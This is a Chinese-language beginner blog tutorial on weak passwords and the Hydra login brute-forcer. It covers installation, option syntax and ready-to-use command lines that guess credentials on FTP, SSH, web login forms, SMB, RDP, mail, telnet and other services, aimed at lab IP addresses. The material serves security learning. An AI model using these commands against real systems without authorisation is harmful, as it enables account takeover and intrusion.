从0到1学习网络安全 【Web安全入门篇-弱口令与Hydra】
前言
额...经过一个月的修炼我又回来了,接下来咱们将以OWASP Top 10 为标准来学习Web安全中常见的十大漏洞。
话不多说,今天咱们一起来学习 弱口令及爆破工具 Hydra
一、弱口令
在全世界范围来看,安全漏洞中排名第一的既不是系统补丁缺失,也不是网站存在跨站、注入等风险,而是密码问题。一套完整的安全防御体系,很有可能因为使用弱口令而功亏一篑。弱口令即过于简单、容易被试出或猜到的密码,下面是国内常用的一些弱密码组合:
image.png
口令攻击:即对某个服务或某个接口多次尝试不同的账号密码组合,以获得目标的相应权限。这样来看,尝试的密码组合越多,则匹配上的成功性越高,为了提高效率,则需要一款自动化工具来高效执行。
二、Hydra
- 简介
Hydra就是这样一款弱口令扫描工具,它运行于linux系统环境中,可扫描MySQL、FTP、SSH、SMB、telnet、SNMP等几十种类型的弱口令,并具有很多优点。比如扫描速度较快,稳定性很好,命令行下易于控制对目标主机的压力,软件有后续的更新维护等。
- 安装
以Cent OS 6.5 为例
Step1: 安装工具依赖包
语法:
[root@localhost ~]# yum install openssl-devel pcre-develncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel
-
如图:
image.png
Step2:编译安装
语法
[root@localhost ~]# wget http://www.thc.org/releases/hydra-7.4.1.tar.gz ##将压缩包下载到本地
[root@localhost ~]# tar zxvf hydra-7.4.1.tar.gz
[root@localhost ~]# cd hydra-7.4.1
[root@localhost hydra-7.4.1]# ./configure
##编译&&安装
[root@localhost hydra-7.4.1]# make
[root@localhost hydra-7.4.1]# make install
- ./configure 会检测当前系统一些组件配置,主要是对于破解支持模块的检测,可根据需要安装对应的支持库和依赖包。
三、Hydra 语法
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns][-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
详细解释:
-
-R
继续从上一次进度接着破解 -
-S
大写,采用SSL链接 -
-s<PORT>
小写,可通过这个参数指定非默认端口 -
-l<LOGIN>
小写,指定破解的用户,对特定用户破解 -
-L<FILE>
大写,指定用户名字典 -
-p<PASS>
小写,指定密码破解,少用,一般是采用密码字典 -
-P<FILE>
大写,指定密码字典 -
-e<ns>
可选选项,n:空密码试探,s:使用指定用户和密码试探 -
-C<FILE>
使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数 -
-M<FILE>
指定目标列表文件一行一条 -
-o<FILE>
指定结果输出文件 -
-f
在使用-M参数以后,找到第一对登录名或者密码的时候中止破解 -
-t<TASKS>
同时运行的线程数,默认为16 -
-w<TIME>
设置最大超时的时间,单位秒,默认是30s -
-v /-V
显示详细过程 -
server
目标ip -
service
指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm]imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy ciscocisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhereteamspeak sip vmauthd firebird ncp afp等等 -
OPT 可选项
四、实例
-
手动创建用户名字典和密码字典,这里只是为了演示,只加了几个用户名和弱口令。真正破解时,需要利用密码字典生成器生成强大的字典。
image.png
- 破解FTP
语法:
root@kali:~# hydra -L users.txt -P pass.txt -t 1 -vV 192.168.43.33 ftp
##hydra -L 用户名字典 -P 密码字典 -t 线程 -vV 详细过程 ip ftp
##hydra -L 用户名字典 -P 密码字典 -e ns -vV 详细过程 ip ftp
-
如图:
image.png
- 破解SSH
语法:
# hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.43.33 ssh
#可以使用 -o 选项指定结果输出文件
# hydra -L users.txt -P password.txt -t 1 -vV -e ns -o save.log 192.168.43.33 ssh
- get方式提交,破解web登录
语法:
# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php
- post方式提交,破解web登录
语法:
# hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"
# hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:wrong username or password"
(参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 192.168.43.33目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示。)
- 破解https:
语法:
# hydra -m /index.php -l admin -P pass.txt 192.168.43.33 https
- 破解teamspeak:
语法:
# hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
- 破解cisco:
语法:
# hydra -P pass.txt 192.168.43.33 cisco
# hydra -m cloud -P pass.txt 192.168.43.33 cisco-enable
- 破解smb:
语法:
# hydra -l administrator -P pass.txt 192.168.43.33 smb
- 破解pop3:
语法:
# hydra -l admin -P pass.txt my.pop3.mail pop3
- 破解rdp:
语法:
# hydra ip rdp -l administrator -P pass.txt -V
- 破解http-proxy:
语法:
# hydra -l admin -P pass.txt http-proxy://192.168.43.33
- 破解imap:
语法:
# hydra -L user.txt -p secret 192.168.43.33 imap PLAIN
# hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
- 破解telnet
语法:
# hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V
小编也在学习,写的不好见谅。
从0到1学习网络安全 【目录】
小编最近建了交流群方便大家交流学习,群内有小编平时整理的学习资料、视频、工具等。
白帽交流群 【简介】
感谢大家支持。